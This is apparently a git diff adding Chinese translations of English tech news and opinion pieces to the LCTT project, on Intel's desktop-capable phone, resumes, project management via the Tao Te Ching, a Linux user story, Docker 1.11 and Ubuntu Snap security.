powering big-screen Linux.md new file mode 100644 index 0000000000..45f9f05032 --- /dev/null +++ b/published/201605/20160223 Intel shows budget Android phone powering big-screen Linux.md @@ -0,0 +1,34 @@ +Intel 展示了可在大屏幕显示 Linux 系统的低端 Android 手机 +============================================================== + +![](https://regmedia.co.uk/2016/02/23/intel-bigscreen.jpg?x=648&y=348&crop=1) + +在世界移动大会 **MWC16** 上 Intel 展示了称之为“大屏体验”的一款的 Android 智能手机,它在插入一个外部显示后运行了一个完整的 Linux 桌面。 + +这个概念大体上与微软在 Windows 10 手机中的 Continuum 相似,但是 Continuum 面向的是高端设备,Intel 的项目面向的是低端智能机和新兴市场。 + +在巴塞罗那的这场大会上展示的是拥有 Atom x3、2GB RAM 和 16GB 存储以及支持外部显示的的 SoFIA(Intel 架构的智能或功能手机)智能机原型。插上键盘、鼠标和显示,它就变成了一台桌面 Linux,并可以选择在大屏幕的一个窗口中显示 Android 桌面。 + +Intel 的拓荒小组(Path Finding Group)经理 Nir Metzer 告诉我们:“Android 基于 Linux 内核,因此我们运行在一个内核上,我们有一个 Android 栈和一个 Linux 栈,并且我们共享同一个环境,因此文件系统是相同的。电话是全功能的。” + +Metzer 说:“我有一个多窗口环境。只要我插入显示器后就可以使用电子表格,我可以进行拖放操作,播放音频。在一个低端平台实现这一切是一个挑战。” + +现在当连上外部显示器时设备的屏幕显示是空白的,但是 Metzer 说下个版本的 Atom X3 会支持双显示。 + +其使用的 Linux 版本是由 Intel 维护的。Metzer 说:“我们需要将 Linux 和 Android 保持一致。框架是预安装的,你不能下载任何 app。” + +英特尔在移动世界大会上向手机制造商们推销这一想法,但却没有实际说希望购买该设备的消费者。Metzer 说:“芯片已经准备好了,已经为量产准备好了。明天就可以进入生产。但是这要看商业需求。” + +-------------------------------------------------------------------------------- + +via: http://www.theregister.co.uk/2016/02/23/move_over_continuum_intel_shows_android_smartphone_powering_bigscreen_linux/ + +作者:[Tim Anderson][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.theregister.co.uk/Author/2878 + + diff --git a/published/201605/20160225 How to add open source experience to your resume.md b/published/201605/20160225 How to add open source experience to your resume.md new file mode 100644 index 0000000000..6c36651976 --- /dev/null +++ b/published/201605/20160225 How to add open source experience to your resume.md @@ -0,0 +1,83 @@ +怎样将开源经历添加到你的简历中去 +================================================== +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/lightning-test.png?itok=aMceg0Vg) + +在这篇文章中,我将会分享我的方法,让大家利用开源贡献在技术领域的求职中脱颖而出,成为强有力的候选者。 + +凡事预则立,不预则废。在你即将进入一个新的领域或者正准备熬夜修订你的简历之前,清楚地定义你正在寻找的工作的特征是值得的。你的简历是一部有说服力的作品,因此你必须了解你的观众,从而让它发挥出所有的潜力。看你简历的可能是任何需要你的技能并且能在预算之内聘用你的人。当编辑简历的时候,读一读你的简历上的内容,同时想象一下,以他们的角度怎么看待这份简历。你看起来像是一个“你”将会聘用的候选人吗? + +我个人认为,对于目标职位的理想候选人所表现出来的关键特征,列出一张清单是很有帮助的。我结合了个人经验、阅读工作招聘信息、询问相同角色的同事等方面来收集这个清单。LinkedIn 和各种会议是寻求一些乐意提供这种建议的人的很好的地方。一些人喜欢谈论他们自己,那么通过邀请他们讲述他们自己的一些故事可以帮助你来拓展你的知识面,这样大家都会感觉很好。当你和其他人谈论他们的职业路线时,你不仅将会明白怎样去得到你想要从事的工作,而且还能知道你应该避免那些容易让你失去工作机会的特征或行为。 + +例如,对于一个不太资深的工作位置来说,关键特征列表可能如下所示: + +###技术方面: + +- 拥有 CI (持续集成) 方面的经验,特别是 Jenkins +- 深厚的脚本编写背景,如 Python 和 Ruby +- 精通 Eclipse IDE +- 基本的 Git 和 Bash 知识 + +###个人而言: + +- 自我驱动的学习者 +- 良好的交流和文档技巧 +- 在团队开发方面富有经验(团队成员) +- 精通事件跟踪的工作流 + +###尽管去申请职位 + +记住,你没有必要为了得到一份工作而去满足上面的工作描述列表中列出的每个标准。 + +工作细节(JD)描述了这个角色,让你一开始就知道你即将签约并为之工作几年的公司的全部信息,并且这份工作并不会让你觉得有什么挑战性,或者要求你去拓展你的技能。如果你对你无法满足清单上的技能列表而感到紧张,那么检查一下自己是否有来自其他方面的经历并能与之媲美的技能。例如,即使有些人从来没有使用过 [Jenkins][1],那他也可能从之前使用过 [Buildbot][2] 或者 [travis CI][3] 的项目经验中明白持续集成测试的原则。 + +如果你正在申请一家大型公司,他们可能拥有一个专门的部门和一套完整的筛选过程来确保他们不会聘用任何不能胜任职位的候选人。也就是说,在你求职的过程中,你所能做的只是提交申请,而决定是否拒绝你是公司管理层的工作。不要过早地将工作拒之门外。 + +现在你已经知道了你的任务是什么,并且还知道你将需要让面试官印象深刻的技巧。下一步要做的取决于你已有的经验。 + +### 制造已经存在的事物之间的关联 + +列出一张你过去几年曾经参与过的所有项目。下面是一条快速得到这张清单的方法,跳转到你的 Github profile 中的**Repositories**标签页,并且过滤掉 fork 过来的项目。除此之外,检查下你的清单上是否有曾经处于领导地位的[Organizations][4]。如果你已经有了一份简历,那么请确保你已经将你所有的经历都列在了上面。 + +考虑下任何一个你曾经作为一个潜在的领导经历并拥有过特权的 IRC 频道。检查下你的 Meetup 和Eventbrite 账号,并将你曾经组织过或者作为志愿者参与过的活动添加到你的清单上。浏览你前几年的日程并且标注所有志愿服务,或者有作为导师的经历,又或者参与过的公共演讲。 + +现在进入了比较艰难的环节了,将清单上列出的必备技能与个人经历列表上的内容一一对照,我喜欢给该工作所需要的每个特征用一个字母或者数字作为标记,然后在每一段你经历或参与过并表现出了某一特征的地方标记相同的符号。当你不太确定的时候,那就毫不犹豫地标记上它,尽管这样做更像是在吹嘘,但也好过显示出你的无能。 + +在我们写简历的时候常常被这样的情况所困扰,就是我们不愿冒着过分吹嘘自己的技能的风险。通常应该这样去想,“那些组织了聚会的人会表现出了更好的领导才能和计划技巧吗?”,而不是“当我组织了这个聚会的时候我是否展示出了这些技巧?”。 + +如果你已经充分了解了你在过去的一两年里的业余时间都是怎么度过的,而且你写了很多代码,那么你可能现在正面临着一个令人奇怪的问题,你已经拥有了太多的经验以至于一张纸的简历已经无法容纳下这些经验了。那么,如果那些列在你的清单上的经验,但无法证明你尝试去表现的任何技能的话,那么请扔掉它们吧。如果这份已经被缩短的简历清单上的内容仍然超过一张单页纸的容量的话,那么将你的经验按照一定的优先级排序,例如根据与所需技术的相关经历或丰富经验。 + +在这一方面,显而易见,如果你想要磨练一个独特的技能,那么你就需要一个不错的经历。考虑使用一个类似 [OpenHatch][7] 的问题聚合器,并用它来寻找一个通过使用你从没使用过的工具和技术来锻炼你的技能的开源项目。 + +### 让你的简历更加漂亮 + +一份简历是否美观取决于它的简洁度、清晰度和布局。每一段经历都应该通过足够的信息来展示给读者,并让他们立刻明白为什么你要将它包含进去,而且恰到好处。每种类型的信息都应该使用一致的文档格式来表示,一份含有斜体格式的日期或者右对齐的或者与整体风格不协调的部分绝对会让人分心。 + +使用工具来给你的简历排版会使之前设定的目标更加容易实现。我喜欢使用 [LaTeX][5],因为它的宏系统能够使可视化一致性变得更加容易,并且大量的面试官都能一眼就认出它。你的工具的选择可能是 [LibreOffice][6] 或者 HTML,这取决于你的技能和你希望怎样去发布你的简历。 + +记住一点,一份以电子方式提交的简历可以通过关键字被浏览到。因此,当你需要描述你的工作经历的时候使用和工作招聘告示一样的英文缩写对你的求职会有很大的帮助。为了让你的简历更加容易被面试官看到,首先就要放上最重要的信息。 + +程序员通常难以在为文档排版时量化平衡和布局。我最喜欢的修改和评估我的文档中的空格是否处于正确位置的技术,就是全屏显示我的 PDF 或者打印出来,然后在镜子里面查看它。如果你正在使用 LibreOffice Writer,保存一份你的简历的副本,然后将你的简历中的字体换成一种你看不懂的语言。这两种技术都强制将你从阅读的内容中脱离出来,让你以一种新的方式查看文档的整体布局。他们把你从一个“那句话措辞不当!”这样的批评转到了注意如“在这行上只有一个字,看起来挺逗”之类的事情。 + +最后,再次检查你的简历是否在它将要的展示的多媒体上看起来完全正确。如果你以网页的形式发布它,那么在不同屏幕大小的浏览器中测试它的效果。如果它是一份 PDF 文档,那么在你的手机或者你的朋友的电脑上打开它,并确保它所需要的字体都是可用的。 + +###接下来的步骤 + +最后,不要让你辛苦做出来的简历内容浪费了,将它完整的复制到你的 LinkedIn 帐号上(完全使用招聘公告中的流行词),然后毫无疑问招聘人员就会找到你了。尽管他们描述的工作内容并不是恰好适合你,但是你可以利用他们的时间和兴趣来得到关于你的简历中有哪些地方好与不好的反馈信息。 + +-------------------------------------------------------------------------------- +via: https://opensource.com/business/16/2/add-open-source-to-your-resume + +作者:[edunham][a] +译者:[kylepeng93](https://github.com/kylepeng93) +校对:[mudongliang](https://github.com/mudongliang),[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/edunham +[1]: https://jenkins-ci.org/ +[2]: http://buildbot.net/ +[3]: https://travis-ci.org/ +[4]: https://github.com/settings/organizations +[5]: https://www.latex-project.org/ +[6]: https://www.libreoffice.org/download/libreoffice-fresh/ +[7]: http://openhatch.org/ diff --git a/published/201605/20160225 The Tao of project management.md b/published/201605/20160225 The Tao of project management.md new file mode 100644 index 0000000000..938484b498 --- /dev/null +++ b/published/201605/20160225 The Tao of project management.md @@ -0,0 +1,200 @@ +《道德经》之项目管理 +================================= + + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/BUSINESS_orgchart1.png?itok=DGsp6jB5) + +[道德经][1],[被认为][2]是由圣人[老子][3]于公元前六世纪时所编写,是现存最为广泛翻译的经文之一。从[宗教][4]到[关于约会的有趣电影][5]等方方面面,它都深深地影响着它们,作者们借用它来做隐喻,以解释各种各样的事情(甚至是[编程][6])。 + +在思考有关开放性组织的项目管理时,我的脑海中便立马浮现出上面的这段文字。 + +这听起来可能会有点奇怪。若要理解我的这种想法从何而来,你应该读读 *《开放性组织:点燃激情提升执行力》* 这本书,它是红帽公司总裁、首席执行官 Jim Whitehurst 所写的一本有关企业文化和新领导力范式的宣言。在这本书中,Jim(还有来自其他红帽人的一点帮助)解释了传统组织机构(一种 “自上而下” 的方式,来自高层的决策被传达到员工,而员工通过晋升和薪酬来激励)和开放性组织机构(一种 自下而上 的方式,领导专注于激励和鼓励,员工被充分授权以各尽其能)之间的差异。 + +在开放性组织中的员工都是被激情、目标和参与感所激励,这个观点正是我认为项目管理者所应该关注的。 + +要解释这一切,我将从*道德经*上寻找依据。 + +### 不要让工作职衔框住自身 + +> 道,可道也,(The tao that can be told) + +> 非恒道也。(is not the eternal Tao) + +> 名,可名也,(The name that can be named) + +> 非恒名也。(is not the eternal Name.) + +> “无”,名天地之始;(The unnameable is the eternally real.) + +> “有”,名万物之母。(Naming is the origin of all particular things.) +[[1]][7] + +项目管理到底是什么?作为一个项目管理者应该做些什么呢? + +如您所想,项目管理者的一部分工作就是管理项目:收集需求、与项目相关人员沟通、设置项目优先级、安排任务、帮助团队解决困扰。许多机构都可以教你如何做好项目管理,并且这些技能你值得拥有。 + +然而,在开放性组织中,字面上的项目管理技能仅仅只是项目管理者需要做到的一小部分,这些组织需要更多其他的东西:即勇气。如果你擅长于管理项目(或者是真的擅长于任何工作),那么你就进入了舒适区。这时候就是需要鼓起勇气开始尝试冒险之时。 + +您有勇气跨出舒适区吗?向权威人士提出挑战性的问题,可能会引发对方的不快,但也可能会开启一个更好的方法,您有勇气这样做吗?有确定需要做的下一件事,然后真正去完成它的勇气吗?有主动去解决因为交流的鸿沟而遗留下来的问题的勇气吗?有去尝试各种事情的勇气吗?有失败的勇气吗? + +道德经的开篇(上面引用的)就表明词语(words)、标签(labels)、名字(names)这些是有限制的,当然也包括工作职衔。在开放性组织中,项目经理不仅仅是执行管理项目所需的机械任务,而且要帮助团队完成组织的使命,尽管这已经被限定了。 + +### 联系起合适的人 + +> 三十辐共一轂,(We join spokes together in a wheel,) + +> 当其无,(but it is the center hole) + +> 有车之用。(that makes the wagon move.) +[[11]][8] + +当我过渡到项目管理的工作时,我必须学会的最为困难的一课是:并不是所有解决方案都是可完全地接受,甚至有的连预期都达不到。这对我来说是全新的一页。我*喜欢*全部都能解决。但作为项目管理者,我的角色更多的是与人沟通--使得那些确实有解决方案的人可以更高效地合作。 + +这并不是逃避责任或者不负责。这意味着可以很舒适的说,“我不知道,但我会给你找出答案”,然后就可迅速地结束这个循环。 + +想像一下马车的车轮,如果没有毂中的孔洞所提供的稳定性和方向,辐条便会失去支持,车轮也会散架。在一个开放性的组织中,项目管理者可以通过把合适的人凝聚在一起,培养正确的讨论话题来帮助团队保持持续向前的动力。 + +### 信任你的团队 + +>太上,不知有之;(When the Master governs, the people +are hardly aware that he exists.) + +> 其次,亲而誉之;(Next best is a leader who is loved.) + +> 其次,畏之;(Next, one who is feared.) + +> 其次,侮之。(The worst is one who is despised.) + +>信不足焉,(If you don't trust the people,) + +>有不信焉。(you make them untrustworthy.) + +>悠兮,其贵言。(The Master doesn't talk, he acts.) + +> 功成事遂,(When his work is done,) + +> 百姓皆谓:“我自然”。(the people say, "Amazing: +we did it, all by ourselves!") +[[17]][9] + +[Rebecca Fernandez][10] 曾经告诉我开放性组织的领导与其它组织的领导者最大的不同点在于,我们不是去取得别人的信任,而是信任别人。 + +开放性组织会雇佣那些非常聪明的,且对公司正在做的事情充满激情的人来做工作。为了能使他们能更好的工作,我们会提供其所需,并尊重他们的工作方式。 + +至于原因,我认为从道德经中摘出的上面一段就说的很清楚。 + +### 顺其自然 + +>上德无为而无以为;(The Master does nothing +yet he leaves nothing undone.) + +>下德为之而有以为。(The ordinary man is always doing things, +yet many more are left to be done.) +[[38]][11] + +你认识那类总是极其忙碌的人吗?认识那些因为有太多事情要做而看起来疲倦和压抑的人吗? + +不要成为那样的人。 + +我知道说比做容易。帮助我没有成为那类人的最重要的东西是:我时刻记着*大家都很忙*这件事。我没有一个那样无聊的同事。 + +但总需要有人成为在狂风暴雨中仍保持镇定的人。总需要有人能够宽慰团队告诉他们一切都会好起来,我们将在现实和一天中工作时间有限的情况下,找到方法使得任务能够完成(因为事实就是这样的,而且我们必须这样)。 + +成为那样的人吧。 + +对于上面这段道德经所说的,我的理解是那些总是谈论他或她正在做什么的人实际上并*没有时间*去做他们谈论的事。如果相比于你周围的人,你能把你的工作做的毫不费劲,那就说明你的工作做对了。 + +### 做一名文化传教士 + +>上士闻道,(When a superior man hears of the Tao,) + +> 勤而行之;(he immediately begins to embody it.) + +> 中士闻道,(When an average man hears of the Tao,) + +>若存若亡;(he half believes it, half doubts it.) + +> 下士闻道,(When a foolish man hears of the Tao,) + +> 大笑之。(he laughs out loud.) + +> 不笑不足以為道。(If he didn't laugh,it wouldn't be the Tao.) +[[41]][12] + +去年秋天,我和一群联邦雇员参加了一堂 MBA 的商业准则课程。当我开始介绍我们公司的文化、价值和伦理框架时,我得到的直接印象是:我的同学和教授都认为我就像一个天真可爱的小姑娘,做着许多关于公司应该如何运作的[甜美白日梦][13]。他们告诉我事情不可能是他们看起来的那样,他们还告诉我应该进一步考察。 + +所以我照做了。 + +然而我发现的是:事情*恰好*是他们看起来的那样。 + +在开放性组织,关于企业文化,人们应该随着企业的成长而时时维护那些文化,以使它随时精神焕发,充满斗志。我(和其它开源组织的成员)并不想过着如我同学们所描述的那样,“为生活而工作”。我需要有激情、有目标,需要明白自己的日常工作是如何对那些我所坚信的东西做贡献的。 + +作为一个项目管理者,你可能会认为在你的团队中,你的工作对培养你们公司的企业文化没有多少帮助。然而你的工作正是孕育文化本身。 + +### Kaizen (持续改善) + +>为学日益,(In pursuit of knowledge,every day something is added.) + +> 为道日损。(In the practice of the Tao,every day something is dropped.) + +> 损之又损,(Less and less do you need to force things,) + +> 以至于无为。(until finally you arrive at non-action. ) + +> 无为而无不为。(When nothing is done,nothing is left undone.) +[[48]][14] + +项目管理的常规领域都太过于专注最新、最强大的的工具,但对于应该使用哪种工具,这个问题的答案总是一致的:“最简单的”。 + +例如,我将任务列表放在桌面的一个文本文件中,因为它很单纯,不会受到不必要的干扰。您想介绍给团队的,无论是何种工具、流程和程序都应该是能提高效率,排除障碍的,而不是引入额外的复杂性。所以与其专注于工具,还不如专注于要使用这些工具来解决的*问题*。 + +作为一个项目经理,我最喜爱的部分是在敏捷世界中,我有自由抛弃那些没有成效的东西的权利。这与 [kaizen][16] 的概念相关,或叫 “持续改进”。不要害怕尝试和失败。失败是我们在探索什么能够起作用,什么不能起作用的过程中所用的标签,这是提高的唯一方式。 + +最好的过程都不是一蹴而就的。作为项目管理者,你应该通过支持他们,而不是强迫他们去做某些事来帮助你的团队。 + +### 实践 + +>天下皆谓我"道"大,(Some say that my teaching is nonsense.) + +> 似不肖。(Others call it lofty but impractical.) + +> 夫唯大,(But to those who have looked inside themselves,) + +> 故似不肖。(this nonsense makes perfect sense.) + +>若肖,(And to those who put it into practice,) + +> 久矣其细也夫!(this loftiness has roots that go deep.) +[[67]][15] + +我相信开放性组织正在做的事。开放性组织在管理领域的工作几乎与他们提供的产品和服务一样重要。我们有机会以身作则,激发他人的激情和目的,创造激励和充分授权的工作环境。 + +我鼓励你们找到办法把这些想法融入到自己的项目和团队中,看看会发生什么。了解你们组织的使命,知晓你的项目是如何为这个使命做贡献的。鼓起勇气,尝试某些看起来没有多少成效的事,同时不要忘记和我们的社区分享你所学到的经验,这样我们就可以继续改进。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/open-organization/16/2/tao-project-management + +作者:[Allison Matlack][a] +译者:[runningwater](https://github.com/runningwater) +校对:[FSSlc](https://github.com/FSSlc) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/amatlack +[1]: http://acc6.its.brooklyn.cuny.edu/~phalsall/texts/taote-v3.html +[2]: https://en.wikipedia.org/wiki/Tao_Te_Ching +[3]: http://plato.stanford.edu/entries/laozi/ +[4]: https://en.wikipedia.org/wiki/Taoism +[5]: http://www.imdb.com/title/tt0234853/ +[6]: http://www.mit.edu/~xela/tao.html +[7]: http://acc6.its.brooklyn.cuny.edu/~phalsall/texts/taote-v3.html#1 +[8]: http://acc6.its.brooklyn.cuny.edu/~phalsall/texts/taote-v3.html#11 +[9]: http://acc6.its.brooklyn.cuny.edu/~phalsall/texts/taote-v3.html#17 +[10]: https://opensource.com/users/rebecca +[11]: http://acc6.its.brooklyn.cuny.edu/~phalsall/texts/taote-v3.html#38 +[12]: http://acc6.its.brooklyn.cuny.edu/~phalsall/texts/taote-v3.html#41 +[13]: https://opensource.com/open-organization/15/9/reflections-open-organization-starry-eyed-dreamer +[14]: http://acc6.its.brooklyn.cuny.edu/~phalsall/texts/taote-v3.html#48 +[15]: http://acc6.its.brooklyn.cuny.edu/~phalsall/texts/taote-v3.html#67 +[16]: https://www.kaizen.com/about-us/definition-of-kaizen.html \ No newline at end of file diff --git a/published/201605/20160301 Linux gives me all the tools I need.md b/published/201605/20160301 Linux gives me all the tools I need.md new file mode 100644 index 0000000000..0ac2e84c02 --- /dev/null +++ b/published/201605/20160301 Linux gives me all the tools I need.md @@ -0,0 +1,56 @@ +Linux 给了我所有所需的工具 +========================================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/OPENHERE_blue.png?itok=3eqp-7gT) + +[Linux][0] 就在我们身边。它以 Android 的形式[存在我们的手机中][1],它[用在国际空间站中][2],它[还是互联网的主要支柱][3],可是迄今为止很多人从未留意过它。对 Linux 的探索是一种很有成就感的尝试。很多人都在 Opensource.com [分享过他们与 Linux 的故事][4]。现在,轮到我了。 + +我依然记得我在 2008 年第一次探索 Linux 的时刻。协助我探索 Linux 的人是我的父亲,Socrates Ballais。他是菲律宾塔克洛班的一名经济学专家,也是一个技术狂热者。他教会了我许多计算机技术方面的知识,但只提倡我将 Linux 作为 Windows 崩溃后的备用操作系统。 + +### 从前的日子 + +在我们在家中购置电脑之前,我曾是一个 Windows 用户。我使用电脑玩游戏,制作文档,做那些小孩子都会用电脑做的事。我不知道什么是 Linux,更不知道它的用处。在那个时候,电脑在我心中的象征就是一个 Windows 的商标。 + +当我们买到第一台电脑时,我爸爸在上面安装了 Linux ([Ubuntu][5] 8.04)。充满了好奇心的我,第一次引导进入了那个操作系统。我被它的用户界面震惊了。它非常漂亮,而且我发现它对用户很友好。在那之后的一段时间,我只会使用 Linux 它内置的几款游戏。我还是会在 Windows 中做我的家庭作业。 + +### 第一次安装 + +4 年后,我决定为家里的电脑重新安装 Windows。我同时毫不犹豫地安装了 Ubuntu。从那次开始,我(再次)爱上了 Linux。随着时间推移,我慢慢适应了 Ubuntu,还会无意地将它推荐给我的朋友。当我拿到我的第一台笔记本电脑时,我立刻在上面安装了它。 + +### 现在 + +如今,Linux 是我的默认操作系统。当我需要使用电脑做一些工作时,我会在 Linux 中完成。至于文档和幻灯片,我会通过 [Wine][6] 来使用微软的 Office 办公软件。我会用 [Chrome 和 Firefox][7] 来满足我的上网需要,会用 [Geary][8] 来收发邮件。你可以使用 Linux 来做很多很多事情。 + +我的大多数——并不是全部——编程工作都会在 Linux 中完成。像 [Visual Studio][9] 和 [XCode][10] 这样的基本集成开发环境 (IDE) 的缺乏教会我这个程序员如何变得灵活、如何去学习更多知识。现在,我只需要一个文本编辑器和一个编译器/解释器就可以开始编程。只有当 IDE 是我完成手头上的任务的最佳最佳工具时,我才会使用它。总而言之,Linux 给了我开发软件所需要的一切工具。 + +现在,我是一个名叫 [Creatomiv Studios][11] 的初创公司的联合创始人和首席技术官。我使用 Linux 来编写我们的最新产品 Basyang 的后端服务器代码。我还是一个业余摄影家,使用 [GIMP][12] 和 [Darktable][13] 来编辑、管理照片。至于团队沟通,我会使用 [Telegram][14]。 + +### Linux 之美 + +很多人认为 Linux 只是为那些喜欢解决复杂问题或者在命令行中工作的人而生的操作系统。还有些人会认为它就是一个缺乏公司支持维护的垃圾。不过,我认为 Linux 是一个完美的操作系统,也是一个为创造而生的绝佳工具。所以我热爱 Linux,同时希望看到它继续成长。 + + +-------------------------------------------------------------------------------- + +via: https://opensource.com/life/16/3/my-linux-story-sean-ballais + +作者:[Sean Francis N. Ballais][a] +译者:[StdioA](https://github.com/StdioA) +校对:[wxy](https://github.com/wxy) + +[a]: https://opensource.com/users/seanballais +[0]: https://opensource.com/resources/what-is-linux +[1]: http://www.howtogeek.com/189036/android-is-based-on-linux-but-what-does-that-mean/ +[2]: http://www.extremetech.com/extreme/155392-international-space-station-switches-from-windows-to-linux-for-improved-reliability +[3]: https://www.youtube.com/watch?v=JzsLkbwi1LA +[4]: https://opensource.com/tags/my-linux-story +[5]: http://ubuntu.com/ +[6]: https://www.winehq.org/ +[7]: https://www.google.com/chrome/browser/desktop/index.html +[8]: https://wiki.gnome.org/Apps/Geary +[9]: https://www.visualstudio.com/en-us/visual-studio-homepage-vs.aspx +[10]: https://developer.apple.com/xcode/ +[11]: https://www.facebook.com/CreatomivStudios/ +[12]: https://www.gimp.org/ +[13]: http://www.darktable.org/ +[14]: https://telegram.org/ diff --git a/published/201605/20160415 Docker 1.11 Adopts Open Container Project Components.md b/published/201605/20160415 Docker 1.11 Adopts Open Container Project Components.md new file mode 100644 index 0000000000..9b73c52b8c --- /dev/null +++ b/published/201605/20160415 Docker 1.11 Adopts Open Container Project Components.md @@ -0,0 +1,48 @@ +Docker 1.11 采纳了开源容器项目(OCP)组件 +======================================================= + +![](http://images.techhive.com/images/article/2015/01/docker-620x465-100559026-primary.idge.jpg) + +> Docker 在开放容器项目(Open Container Project,OCP)中的参与度达成圆满,最新构建的Docker采用了Docker 贡献给 OCP 的组件。 + +新发布的 [Docker 1.11][1] 的最大新闻并不是它的功能,而是它使用了在 OCP 支持下的标准化的组件版本。 + +去年,Docker 贡献了它的 [runC][2] 核心给 OCP 作为构建构建容器工具的基础。同样还有 [containerd][3],作为守护进程或者服务端用于控制 runC 的实例。Docker 1.11 现在使用的就是这个捐赠和公开的版本。 + + +Docker 此举挑战了它的容器生态仍[主要由 Docker 自身决定][6]这个说法。它并不是为了作秀才将容器规范和运行时细节贡献给 OCP。它希望项目将来的开发越开放和广泛越好。 + +![](http://images.techhive.com/images/article/2016/04/docker-runc-100656060-large.idge.png) + +> Docker 1.11 已经用贡献给 OCP 的 runC 和 containerd 进行了重构。runC 如果需要的话可以换成另外一个。 + +runC 的[两位主要提交者][7]来自 Docker,但是来自 Virtuozzo(Parallels fame)、OpenShift、Project Atomic、华为、GE Healthcare、Suse Linux 也都是提交人员里面的常客。 + +Docker 1.11 中一个更明显的变化是先前 Docker runtime 在 Docker 中是唯一可用的,并且评论家认为这个会限制用户的选择。runC runtime 现在是可替换的;虽然 Docker 在发布时将 runC 作为默认引擎,但是任何兼容的引擎都可以用来替换它。(Docker 同样希望它可以不用杀死并重启现在运行的容器,但是这个作为今后的改进规划。) + +Docker 正在将基于 OCP 的开发流程作为内部创建其产品的更好方式。在它发布 1.11 的[官方博客中称][8]:“将 Docker 切分成独立的工具意味着更专注的维护者,最终会有更好的软件质量。” + +除了修复长期以来存在的问题和确保 Docker 的 runC/containerd 跟上步伐,Docker 还在 Docker 1.11 中加入了一些改进。Docker Engine 现在支持 VLAN 和 IPv6 服务发现,并且会自动在多个相同别名容器间执行 DNS 轮询负载均衡。 + + +------------------------------------------------------------------------------ + +via: http://www.infoworld.com/article/3055966/open-source-tools/docker-111-adopts-open-container-project-components.html + +作者:[Serdar Yegulalp][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.infoworld.com/author/Serdar-Yegulalp/ +[1]: https://blog.docker.com/2016/04/docker-engine-1-11-runc/ +[2]: http://runc.io/ +[3]: https://containerd.tools/ +[4]: http://www.infoworld.com/resources/16373/application-virtualization/the-beginners-guide-to-docker#tk.ifw-infsb +[5]: http://www.infoworld.com/newsletters/signup.html#tk.ifw-infsb +[6]: http://www.infoworld.com/article/2876801/application-virtualization/docker-reorganization-grows-up.html +[7]: https://github.com/opencontainers/runc/graphs/contributors +[8]: https://blog.docker.com/2016/04/docker-engine-1-11-runc/ + + diff --git "a/published/201605/20160426 IS UBUNTU\342\200\231S SNAP PACKAGING REALLY SECURE.md" "b/published/201605/20160426 IS UBUNTU\342\200\231S SNAP PACKAGING REALLY SECURE.md" new file mode 100644 index 0000000000..42da17d2b7 --- /dev/null +++ "b/published/201605/20160426 IS UBUNTU\342\200\231S SNAP PACKAGING REALLY SECURE.md" @@ -0,0 +1,53 @@ +Ubuntu 的 snap 软件包封装真的安全吗? +========================================== + +最近发布的 [Ubuntu 16.04 LTS 版本带来了一些新功能[1],其中之一就是对 [ZFS 格式文件系统的支持][2]。另一个值得广为讨论的特性就是 Snap 软件包格式。不过,据 [CoreOS][3] 的开发者之一所述,Snap 软件包并不像声称的那样安全。 + +### 什么是 Snap 软件包? + +Snap 软件包的灵感来自容器。这种新的封装格式允许[开发人员为运行于 Ubuntu 长期支持版本 (LTS)之上的应用程序发布更新][4]。这就可以让用户虽然运行着稳定版本的操作系统,但却能够让应用程序保持最新的状态。之所以能够这样,是因为软件包本身就包含了程序运行的所有依赖。这可以防止依赖的软件更新后软件挂掉。 + +snap 软件包的另外一个优势是应用与系统的其它部分是隔离的。这意味着如果你改变了 snap 软件包的一些东西,它不会影响到系统的其它部分。这也可以防止其它的应用访问你的隐私信息,从而使骇客根据难以获取你的数据。 + +### 然而…… + +据 [Matthew Garrett][5] 的说法,Snap 软件包不能完全兑现上述承诺。Garret 作为 Linux 内核的开发人员和 CoreOS 的安全性方面的开发者,我想他一定知道自己在说些什么。 + +[据 Garret 说][6], “仅需要克服一点点困难,安装的任何 Snap 格式的软件包就完全能够将你所有的私有数据复制到任何地方”。 + +[ZDnet][7] 的报道: + +> “为了证明自己的观点,他在 Snap 中构建了一个仅用于验证其原理的用于破坏的软件包,它首先会显示一个可爱的泰迪熊,然后将会记录 Firefox 的键盘按键事件,并且能够窃取 SSH 私钥。这个仅用于验证原理的软件包实际上注入的是一个无害的命令,但是却能够修改成一个窃取 SSH 密钥的 cURL 会话。” + +### 但是稍等…… + +难道 Snap 真的有安全缺陷?事实上却不是! + +Garret 自己也说,此问题仅出现在使用 X11 窗口系统上,而对于那些使用 Mir 的移动设备无效。所以这个缺陷是 X11 的而不是 Snap 的。 + +> X11 是如何信任应用程序的,这是一个众所周知的安全风险。Snap 并没有更改 X11 的信任模型。所以一个应用程序能够看到其它应用程序的行为并不是这种新的封装格式的缺点,而是 X11 的。 + +Garrett 实际上想表达的只是,当 Canonical 歌颂 Snap 和它的安全性时,Snap 应用程序并不是完全沙盒化的。和其他二进制文件一样,它们也存在风险。 + +请牢记 Ubuntu 16.04 当前还在使用 X11 而不是 Mir 的事实,从未知的源下载和安装 Snap 格式的软件包也许还是有风险的,然而其它不也是如此嘛?! + +相关链接: [如何在 Ubuntu 16.04 中使用 Snap 软件包][8]。期待您分享关于 Snap 格式及其安全性的观点。 + +---------- +via: http://itsfoss.com/snap-package-securrity-issue/ + +作者:[John Paul][a] +译者:[dongfengweixiao](https://github.com/dongfengweixiao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://itsfoss.com/author/john/ +[1]: http://itsfoss.com/features-ubuntu-1604/ +[2]: http://itsfoss.com/oracle-canonical-lawsuit/ 